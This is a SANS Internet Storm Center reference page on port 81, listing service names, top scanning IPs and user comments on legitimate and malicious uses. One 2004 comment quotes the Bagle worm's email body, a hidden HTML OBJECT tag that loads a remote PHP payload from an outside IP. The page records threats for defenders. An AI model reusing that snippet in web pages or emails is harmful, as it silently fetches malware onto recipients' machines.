Threat Level: green Handler on Duty: Johannes Ullrich

SANS ISC: Port 81 (tcp/udp) Attack Activity Port 81 (tcp/udp) Attack Activity


Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!
Loading...
[get complete service list]
Port Information
Protocol Service Name
tcp hosts2-ns HOSTS2 Name Server
tcp RemoConChubo [trojan] RemoConChubo
udp hosts2-ns HOSTS2 Name Server
tcp docs-to-go Palm Documents to Go
Top IPs Scanning
TodayYesterday
78.128.84.241 (30950)78.128.16.28 (40226)
78.128.16.28 (30840)78.128.111.232 (40127)
78.128.100.175 (30628)78.128.84.241 (40084)
78.128.111.232 (30448)78.128.41.27 (39620)
78.128.41.27 (30402)78.128.95.94 (37697)
78.128.95.94 (21577)78.128.5.228 (37403)
78.128.107.188 (19227)78.128.125.2 (37296)
78.128.125.2 (12747)78.128.100.175 (27865)
78.128.5.228 (12646)78.128.107.188 (26782)
206.72.197.90 (6167)178.128.250.18 (12215)
Port diary mentions
URL
WTF tcp port 81
DVRIP Port 34567 - Uptick
User Comments
Submitted By Date
Comment
Steve Arnold 2009-10-04 18:45:22
Reported today by Sophos as the port used by the e-mailed "carrier" (VBS script) of W32/Bagle-Q to download the virus.
TomazF 2009-10-04 18:45:22
new version (18.03.2004) of worm Beagle is working on port 81, opens PHP with ActiveX script ans install sm.exe -> \winnt\system32\directs.exe and infects then plenty of EXEs see virus email body: <html><body> <font face="System"> <OBJECT STYLE="display:none" DATA="http://219.15.112.80:81/257480.php"> </OBJECT></body></html> Rgrds, Tomaz
Diesel 2008-05-15 14:28:49
this port is used between http proxies
Just found 2008-04-29 18:22:33
igo-incognito user-authentication-for-watchguard-products IGo Incognito Data Port http://www.watchguard.com/training/lss/45/auth3.ht | http://www.micromuse.com/products/descriptions.htm | IGo Incognito Data Port
Joshua 2004-03-19 04:46:52
Secondary HTTP servers are often found on ports 81 through 83.
Tinga 2004-02-10 19:49:57
Port is also used for McAfee ePO console to server communications
Add a comment
CVE Links
CVE # Description